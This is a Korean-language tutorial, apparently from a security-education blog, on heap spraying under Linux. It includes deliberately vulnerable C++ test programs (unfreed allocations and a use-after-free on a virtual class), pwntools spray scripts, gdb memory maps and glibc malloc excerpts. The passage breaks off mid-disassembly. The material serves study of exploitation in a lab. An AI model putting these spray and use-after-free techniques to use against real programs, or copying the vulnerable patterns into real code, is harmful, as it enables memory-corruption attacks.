Excuse the ads! We need some help to keep our site up.
List
Heap Spray
- Heap spray란 Heap 영역을 확장하면서 해당 영역에 특정 값으로 가득 채우는 기술입니다.
- Heap spray를 이용해 Exploit의 성공 가능성을 높이기 위해 많은 양의 Heap 공간을 요청합니다.
- Heap spray에 의해 Heap 영역에 주소 값 또는 NOP 또는 NOP + Shellcode으로 채워지는 것이 일반적입니다.
- Heap spray로 인해 대부분의 아키텍처와 운영 체제에서 대규모 Heap이 할당되는 시작 위치의 예측 가능합니다.
- 즉, Heap spray가 실행될 때마다 대략적으로 동일한 위치에 Spray된 Heap이 있음을 의미합니다.
- Heap을 연속으로 할당할 경우 대부분 순차적으로 할당됩니다.
- 즉, Heap spray가 실행될 때마다 대략적으로 동일한 위치에 Spray된 Heap이 있음을 의미합니다.
- Heap spray는 응용 프로그램에서 Heap 영역의 값을 읽어 해당 주소도 이동하는 함수 포인터를 덮어쓸 수 있는 취약성이 있을 경우에 사용될 수 있습니다.
- Heap spary된 Heap 영역의 주소를 함수 포인터로 사용하여 실행 흐름을 제어할 수 있습니다.
- 이외에도 상황에 따라 다양하게 사용될 수 있습니다.
- Heap spary된 Heap 영역의 주소를 함수 포인터로 사용하여 실행 흐름을 제어할 수 있습니다.
Implementation of Heap Spray
JavaScript(JIT spray) |
| |
---|---|---|
VBScript |
| |
ActionScript |
| |
Images |
| |
HTML5 |
|
Proof of concept
Sample code
다음 코드는 다음과 같은 기능을 합니다.
while()에 의해 사용자로 부터 숫자 0을 입력 받을 때 까지 heapSpray() 함수를 실행합니다.
heapSpray() 함수는 read()함수를 이용해 사용자로 부터 입력할 문자의 길이를 입력 받습니다.
heapSpray() 함수는 new 연산자를 이용해 입력 받은 문자열의 길이 만큼의 Heap 공간을 생성(data)합니다.
그리고 read() 함수를 이용해 생성된 Heap 공간(data)에 값을 저장합니다.
여기서 Heap spray 취약성이 발생합니다.
heapSpray() 함수가 종료 될때 delete 연산자를 이용하여 생성된 Heap 공간(data)을 해제 하지 않았기 때문입니다.
heapSpray() 함수가 호출될 때마다 이전에 할당받은 Heap 영역 뒤에 Heap 영역을 할당받아 값을 저장하게 됩니다.
//g++ -o poc poc.cpp -ldl #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <cstring> void heapSpray(){ int size; char *data; printf("Input size:\n"); read(0, &size, 4); if (size > 0) { printf("Input contents:\n"); data = new char[size]; read(0, data, size); } } int main(){ printf("Heap spray!\n"); while(1){ char status[2]; heapSpray(); printf("Will you keep typing?(No:0):\n"); read(0,&status,2); if(atoi(status) == 0){ printf("Exit!\n"); break; } } return 0; }
The address to which the heap is allocated
프로세스에 할당된 Heap 주소들을 확인하기 위해 다음과 같이 프로세스를 백그라운드로 실행합니다.
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc & [1] 30346 lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray! Input size: [1]+ Stopped ./poc lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc & [2] 30347 lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray! Input size: [2]+ Stopped ./poc lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc & [3] 30348 lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray! Input size: [3]+ Stopped ./poc lazenca0x0@ubuntu:~/Exploit/HeapSpray$
- 다음과 같이 각 프로세스 마다 할당된 Heap의 시작 주소가 다릅니다.
- 첫번째 프로세스 : 0x0074c000 ~
- 두번째 프로세스 : 0x01d1d000 ~
- 세번째 프로세스 : 0x01579000 ~
- 하지만 이러한 ASLR은 Heap spray기술에서 큰 문제가 되지 않습니다.
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30346 [sudo] password for lazenca0x0: Attaching to process 30346 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... Stopped reason: SIGTTIN 0x00007f8280e3f260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x0074c000 0x0077e000 rw-p [heap] ... gdb-peda$
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30347 Attaching to process 30347 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... Program received signal SIGTTIN, Stopped (tty input). Stopped reason: SIGTTIN 0x00007fa7509f3260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01d1d000 0x01d4f000 rw-p [heap] ... gdb-peda$
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30348 Attaching to process 30348 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... Program received signal SIGTTIN, Stopped (tty input). Stopped reason: SIGTTIN 0x00007f6c2779e260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01579000 0x015ab000 rw-p [heap] ... gdb-peda$
Do Heap spray
다음과 스크립트를 이용하여 Heap spray를 진행 합니다.
Heap 영역에 spray할 데이터의 전체 크기는 0x5000000 입니다.
spray할 때마다 사용할 heap의 크기는 0x10000 입니다.
해당 크기에서 chunk의 크기를 뺍니다.
해당 공간에 "AAAABBBB" + "C" * alpha 의 데이터를 저장합니다.
from pwn import * #context.log_level = 'debug' sprayRange = 0x5000000 spraySize = 0x10000 sprayCount = sprayRange /spraySize p = process('./poc') sleep(20) for i in xrange(sprayCount): size = spraySize - 0x10 # chunk의 크기 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = 'AAAABBBB' * (size // 8) buf += 'C' * (size - len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.wait()
스크립트를 실행하면 다음과 같이 Heap 구조의 변화는 확인 할 수 있습니다.
- 중요한 부분은 Heap spray에 의해 Heap 영역이 확장되었다는 것입니다.
- 첫번째 프로세스 : 0x00d34000 ~ 0x05d67000
- 두번째 프로세스 : 0x023da000 ~ 0x0740d000
- 세번째 프로세스 : 0x02276000 ~ 0x04277000
- 즉, 이로 인하여 Heap 영역의 주소를 유추하기 쉬워집니다.
- 중요한 부분은 Heap spray에 의해 Heap 영역이 확장되었다는 것입니다.
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56043 Attaching to process 56043 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... 0x00007f9f2f3cb260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004007bd <+0>: push rbp 0x00000000004007be <+1>: mov rbp,rsp 0x00000000004007c1 <+4>: sub rsp,0x10 ... 0x0000000000400818 <+91>: call 0x4005d0 <puts@plt> 0x000000000040081d <+96>: mov eax,0x0 0x0000000000400822 <+101>: mov rcx,QWORD PTR [rbp-0x8] 0x0000000000400826 <+105>: xor rcx,QWORD PTR fs:0x28 0x000000000040082f <+114>: je 0x400836 <main+121> 0x0000000000400831 <+116>: call 0x400620 <__stack_chk_fail@plt> 0x0000000000400836 <+121>: leave 0x0000000000400837 <+122>: ret End of assembler dump. gdb-peda$ b *0x000000000040082f Breakpoint 1 at 0x40082f gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00d34000 0x00d66000 rw-p [heap] ... gdb-peda$ c Continuing. Breakpoint 1, 0x000000000040082f in main () gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00d34000 0x05d67000 rw-p [heap] ... gdb-peda$ p/x 0x05d67000 - 0x00d66000 $2 = 0x5001000 gdb-peda$
lazenca0x0@ubuntu:~$ sudo gdb -p 56080 Attaching to process 56080 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... 0x00007f4a296a7260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x023da000 0x0240c000 rw-p [heap] ... gdb-peda$ b *0x000000000040082f Breakpoint 1 at 0x40082f gdb-peda$ c Continuing. Breakpoint 1, 0x000000000040082f in main () gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x023da000 0x0740d000 rw-p [heap] ... gdb-peda$ p/x 0x0740d000 - 0x0240c000 $2 = 0x5001000 gdb-peda$
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56097 Attaching to process 56097 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... 0x00007f06b8fd0260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01b1e000 0x01b50000 rw-p [heap] ... gdb-peda$ b *0x000000000040082f Breakpoint 1 at 0x40082f gdb-peda$ c Continuing. Breakpoint 1, 0x000000000040082f in main () gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01b1e000 0x06b51000 rw-p [heap] ... gdb-peda$ p/x 0x06b51000 - 0x01b50000 $2 = 0x5001000 gdb-peda$
#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)
- 다음과 같이 Linux에서 Heap spray를 사용할 때 주의할 점이 있습니다.
- malloc은 할당할 Heap의 크기가 0x20000(128 * 1024) 이상일 경우 Heap 영역을 확장하지 않습니다.
- mmap을 사용하여 새로 할당 된 메모리 영역에 데이터를 저장합니다.
- malloc은 할당할 Heap의 크기가 0x20000(128 * 1024) 이상일 경우 Heap 영역을 확장하지 않습니다.
- 다음 코드는 malloc의 소스코드 입니다.
- "DEFAULT_MMAP_THRESHOLD_MIN"에 mmap으로 공간을 할당하는 최소 크기의 기준 값을 저장하고 있습니다.
/* MMAP_THRESHOLD_MAX and _MIN are the bounds on the dynamically adjusted MMAP_THRESHOLD. */ #ifndef DEFAULT_MMAP_THRESHOLD_MIN #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) #endif #ifndef DEFAULT_MMAP_THRESHOLD_MAX /* For 32-bit platforms we cannot increase the maximum mmap threshold much because it is also the minimum value for the maximum heap size and its alignment. Going above 512k (i.e., 1M for new heaps) wastes too much address space. */ # if __WORDSIZE == 32 # define DEFAULT_MMAP_THRESHOLD_MAX (512 * 1024) # else # define DEFAULT_MMAP_THRESHOLD_MAX (4 * 1024 * 1024 * sizeof(long)) # endif #endif
- malloc는 DEFAULT_MMAP_THRESHOLD_MIN의 값을 이용하여 할당할 heap의 크기가 크거나 같은지 확인합니다.
- 값이 작을 경우 기존에 할당된 heap영역에 공간을 확장해서 사용합니다.
- 값이 클 경우 새로운 메모리 영역을 할당하여 사용합니다.
#define M_MMAP_THRESHOLD -3 #ifndef DEFAULT_MMAP_THRESHOLD #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN #endif ... static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, ... } static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { ... if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; /* return value from mmap call*/ try_mmap: /* Round up size to nearest page. For mmapped chunks, the overhead is one SIZE_SZ unit larger than for normal chunks, because there is no following chunk whose prev_size field could be used. See the front_misalign handling below, for glibc there is no need for further alignments unless we have have high alignment. */ if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) size = ALIGN_UP (nb + SIZE_SZ, pagesize);
- 다음 코드를 이용하여 새로운 heap 메모리 영역이 할당되는 것을 확인 할 수 있습니다.
- malloc() 함수에 의해 할당 받을 Heap의 크기를 0x20000으로 전달 합니다.
- 이 크기로 인해 malloc() 함수는 기존 heap 영역을 확장하는 것이 아니라 새로운 메모리 영역을 할당해 사용합니다.
from pwn import * #context.log_level = 'debug' sprayRange = 0x5000000 spraySize = 0x20000 sprayCount = sprayRange /spraySize p = process('./poc') sleep(20) for i in xrange(sprayCount): size = spraySize - 0x10 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = 'AAAABBBB' * (size // 8) buf += 'C' * (size-len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.wait()
- 다음과 같이 디버깅을 이용해 메모리의 변화를 확인 할 수 있습니다.
- Heap spray를 실행하였지만 기존에 사용하던 heap 영역이 확장되지 않았습니다.
- heap 영역 아래에 새로운 메모리 영역이 생성되었습니다.(0x00007f2f483ea000 ~ 0x00007f2f4a31c000)
- 해당 영역에 heap spray를 위해 입력한 값이 저장되어 있습니다.
- Heap spray를 실행하였지만 기존에 사용하던 heap 영역이 확장되지 않았습니다.
lazenca0x0@ubuntu:~$ sudo gdb -q -p 55755 [sudo] password for lazenca0x0: Attaching to process 55755 Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done. ... 0x00007f2f4a932260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ b *0x000000000040082f Breakpoint 1 at 0x40082f gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01ca3000 0x01cd5000 rw-p [heap] 0x00007f2f4a31c000 0x00007f2f4a332000 r-xp /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a332000 0x00007f2f4a531000 ---p /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a531000 0x00007f2f4a532000 rw-p /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a532000 0x00007f2f4a63a000 r-xp /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a63a000 0x00007f2f4a839000 ---p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a839000 0x00007f2f4a83a000 r--p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4abfb000 0x00007f2f4abff000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4abff000 0x00007f2f4ac01000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p mapped 0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4ad77000 0x00007f2f4af77000 ---p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af77000 0x00007f2f4af81000 r--p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af81000 0x00007f2f4af83000 rw-p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af83000 0x00007f2f4af87000 rw-p mapped 0x00007f2f4af87000 0x00007f2f4afad000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4b18e000 0x00007f2f4b194000 rw-p mapped 0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p mapped 0x00007ffd30ee6000 0x00007ffd30f07000 rw-p [stack] 0x00007ffd30f2f000 0x00007ffd30f32000 r--p [vvar] 0x00007ffd30f32000 0x00007ffd30f34000 r-xp [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ c Continuing. Breakpoint 1, 0x000000000040082f in main () gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/HeapSpray/poc 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/HeapSpray/poc 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/HeapSpray/poc 0x01ca3000 0x01cd5000 rw-p [heap] 0x00007f2f483ea000 0x00007f2f4a31c000 rw-p mapped 0x00007f2f4a31c000 0x00007f2f4a332000 r-xp /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a332000 0x00007f2f4a531000 ---p /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a531000 0x00007f2f4a532000 rw-p /lib/x86_64-linux-gnu/libgcc_s.so.1 0x00007f2f4a532000 0x00007f2f4a63a000 r-xp /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a63a000 0x00007f2f4a839000 ---p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a839000 0x00007f2f4a83a000 r--p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p /lib/x86_64-linux-gnu/libm-2.23.so 0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4abfb000 0x00007f2f4abff000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4abff000 0x00007f2f4ac01000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p mapped 0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4ad77000 0x00007f2f4af77000 ---p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af77000 0x00007f2f4af81000 r--p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af81000 0x00007f2f4af83000 rw-p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x00007f2f4af83000 0x00007f2f4af87000 rw-p mapped 0x00007f2f4af87000 0x00007f2f4afad000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4afc0000 0x00007f2f4b194000 rw-p mapped 0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p mapped 0x00007ffd30ee6000 0x00007ffd30f07000 rw-p [stack] 0x00007ffd30f2f000 0x00007ffd30f32000 r--p [vvar] 0x00007ffd30f32000 0x00007ffd30f34000 r-xp [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ x/20gx 0x00007f2f483ea000 0x7f2f483ea000: 0x0000000000000000 0x0000000000021002 0x7f2f483ea010: 0x4242424241414141 0x4242424241414141 0x7f2f483ea020: 0x4242424241414141 0x4242424241414141 0x7f2f483ea030: 0x4242424241414141 0x4242424241414141 0x7f2f483ea040: 0x4242424241414141 0x4242424241414141 0x7f2f483ea050: 0x4242424241414141 0x4242424241414141 0x7f2f483ea060: 0x4242424241414141 0x4242424241414141 0x7f2f483ea070: 0x4242424241414141 0x4242424241414141 0x7f2f483ea080: 0x4242424241414141 0x4242424241414141 0x7f2f483ea090: 0x4242424241414141 0x4242424241414141 gdb-peda$
Example code
- 다음 코드에는 heap spray, UAF 취약성이 존재합니다.
앞의 예제 코드에서 사용한 heapSpray() 함수에는 heapSpray가 가능합니다.
- 그리고 main 함수에서 UAF 클래스를 생성하고 삭제 후에 heapSpray() 함수가 호출 됨으로써 UAF취약성이 발생됩니다.
//g++ -o heapspray heapspray.cpp -ldl #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <cstring> #include <dlfcn.h> class UAF { char memo[160]; public: UAF(char *memo) { strncpy(this->memo,memo,strlen(this->memo)); } virtual void target() { write(1, this->memo, strlen(this->memo)); } }; void heapSpray(){ int size; char *data; printf("Input size:\n"); read(0, &size, 4); if (size > 0) { printf("Input contents:\n"); data = new char[size]; read(0, data, size); } } int main(){ char memo[160] = {}; void *printf_addr = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); printf("Heap spray!\n"); while(1){ char status[2]; heapSpray(); printf("Will you keep typing?(No:0):\n"); read(0,&status,2); if(atoi(status) == 0) break; } printf("Create vtable\n"); read(0, memo, sizeof(memo)); UAF *uaf = new UAF(memo); delete uaf; printf("UAF!\n"); heapSpray(); uaf->target(); return 0; }
UAF
다음과 같이 Break point를 설정합니다.
0x400b42 : UAF Class 생성
0x400b58 : UAF Class 삭제
0x400a26 : heapSpray 함수에서 new char[size]
0x400a41 : heapSpray 함수에서 read() 함수 호출
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ gdb -q ./heapspray Reading symbols from ./heapspray...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400a5d <+0>: push rbp 0x0000000000400a5e <+1>: mov rbp,rsp 0x0000000000400a61 <+4>: push rbx 0x0000000000400a62 <+5>: sub rsp,0xd8 0x0000000000400a69 <+12>: mov rax,QWORD PTR fs:0x28 0x0000000000400a72 <+21>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400a76 <+25>: xor eax,eax 0x0000000000400a78 <+27>: lea rdx,[rbp-0xc0] 0x0000000000400a7f <+34>: mov eax,0x0 0x0000000000400a84 <+39>: mov ecx,0x14 0x0000000000400a89 <+44>: mov rdi,rdx 0x0000000000400a8c <+47>: rep stos QWORD PTR es:[rdi],rax 0x0000000000400a8f <+50>: mov esi,0x400cd0 0x0000000000400a94 <+55>: mov rdi,0xffffffffffffffff 0x0000000000400a9b <+62>: call 0x4008a0 <dlsym@plt> 0x0000000000400aa0 <+67>: mov QWORD PTR [rbp-0xe0],rax 0x0000000000400aa7 <+74>: mov rax,QWORD PTR [rbp-0xe0] 0x0000000000400aae <+81>: mov rsi,rax 0x0000000000400ab1 <+84>: mov edi,0x400cd7 0x0000000000400ab6 <+89>: mov eax,0x0 0x0000000000400abb <+94>: call 0x400800 <printf@plt> 0x0000000000400ac0 <+99>: mov edi,0x400cee 0x0000000000400ac5 <+104>: call 0x400810 <puts@plt> 0x0000000000400aca <+109>: call 0x4009d6 <_Z9heapSprayv> 0x0000000000400acf <+114>: mov edi,0x400cfa 0x0000000000400ad4 <+119>: call 0x400810 <puts@plt> 0x0000000000400ad9 <+124>: lea rax,[rbp-0xd0] 0x0000000000400ae0 <+131>: mov edx,0x2 0x0000000000400ae5 <+136>: mov rsi,rax 0x0000000000400ae8 <+139>: mov edi,0x0 0x0000000000400aed <+144>: call 0x400840 <read@plt> 0x0000000000400af2 <+149>: lea rax,[rbp-0xd0] 0x0000000000400af9 <+156>: mov rdi,rax 0x0000000000400afc <+159>: call 0x400870 <atoi@plt> 0x0000000000400b01 <+164>: test eax,eax 0x0000000000400b03 <+166>: jne 0x400aca <main+109> 0x0000000000400b05 <+168>: mov edi,0x400d17 0x0000000000400b0a <+173>: call 0x400810 <puts@plt> 0x0000000000400b0f <+178>: lea rax,[rbp-0xc0] 0x0000000000400b16 <+185>: mov edx,0xa0 0x0000000000400b1b <+190>: mov rsi,rax 0x0000000000400b1e <+193>: mov edi,0x0 0x0000000000400b23 <+198>: call 0x400840 <read@plt> 0x0000000000400b28 <+203>: mov edi,0xa8 0x0000000000400b2d <+208>: call 0x4008c0 <_Znwm@plt> 0x0000000000400b32 <+213>: mov rbx,rax 0x0000000000400b35 <+216>: lea rax,[rbp-0xc0] 0x0000000000400b3c <+223>: mov rsi,rax 0x0000000000400b3f <+226>: mov rdi,rbx 0x0000000000400b42 <+229>: call 0x400ba8 <_ZN3UAFC2EPc> 0x0000000000400b47 <+234>: mov QWORD PTR [rbp-0xd8],rbx 0x0000000000400b4e <+241>: mov rax,QWORD PTR [rbp-0xd8] 0x0000000000400b55 <+248>: mov rdi,rax 0x0000000000400b58 <+251>: call 0x400830 <_ZdlPv@plt> 0x0000000000400b5d <+256>: mov edi,0x400d25 0x0000000000400b62 <+261>: call 0x400810 <puts@plt> 0x0000000000400b67 <+266>: call 0x4009d6 <_Z9heapSprayv> 0x0000000000400b6c <+271>: mov rax,QWORD PTR [rbp-0xd8] 0x0000000000400b73 <+278>: mov rax,QWORD PTR [rax] 0x0000000000400b76 <+281>: mov rax,QWORD PTR [rax] 0x0000000000400b79 <+284>: mov rdx,QWORD PTR [rbp-0xd8] 0x0000000000400b80 <+291>: mov rdi,rdx 0x0000000000400b83 <+294>: call rax 0x0000000000400b85 <+296>: mov eax,0x0 0x0000000000400b8a <+301>: mov rcx,QWORD PTR [rbp-0x18] 0x0000000000400b8e <+305>: xor rcx,QWORD PTR fs:0x28 0x0000000000400b97 <+314>: je 0x400b9e <main+321> 0x0000000000400b99 <+316>: call 0x400880 <__stack_chk_fail@plt> 0x0000000000400b9e <+321>: add rsp,0xd8 0x0000000000400ba5 <+328>: pop rbx 0x0000000000400ba6 <+329>: pop rbp 0x0000000000400ba7 <+330>: ret End of assembler dump. gdb-peda$ b *0x0000000000400b42 Breakpoint 1 at 0x400b42 gdb-peda$ b *0x0000000000400b58 Breakpoint 2 at 0x400b58 gdb-peda$ disassemble _Z9heapSprayv Dump of assembler code for function _Z9heapSprayv: 0x00000000004009d6 <+0>: push rbp 0x00000000004009d7 <+1>: mov rbp,rsp 0x00000000004009da <+4>: sub rsp,0x20 0x00000000004009de <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004009e7 <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000004009eb <+21>: xor eax,eax 0x00000000004009ed <+23>: mov edi,0x400cb4 0x00000000004009f2 <+28>: call 0x400810 <puts@plt> 0x00000000004009f7 <+33>: lea rax,[rbp-0x14] 0x00000000004009fb <+37>: mov edx,0x4 0x0000000000400a00 <+42>: mov rsi,rax 0x0000000000400a03 <+45>: mov edi,0x0 0x0000000000400a08 <+50>: call 0x400840 <read@plt> 0x0000000000400a0d <+55>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400a10 <+58>: test eax,eax 0x0000000000400a12 <+60>: jle 0x400a46 <_Z9heapSprayv+112> 0x0000000000400a14 <+62>: mov edi,0x400cc0 0x0000000000400a19 <+67>: call 0x400810 <puts@plt> 0x0000000000400a1e <+72>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400a21 <+75>: cdqe 0x0000000000400a23 <+77>: mov rdi,rax 0x0000000000400a26 <+80>: call 0x400820 <_Znam@plt> 0x0000000000400a2b <+85>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400a2f <+89>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400a32 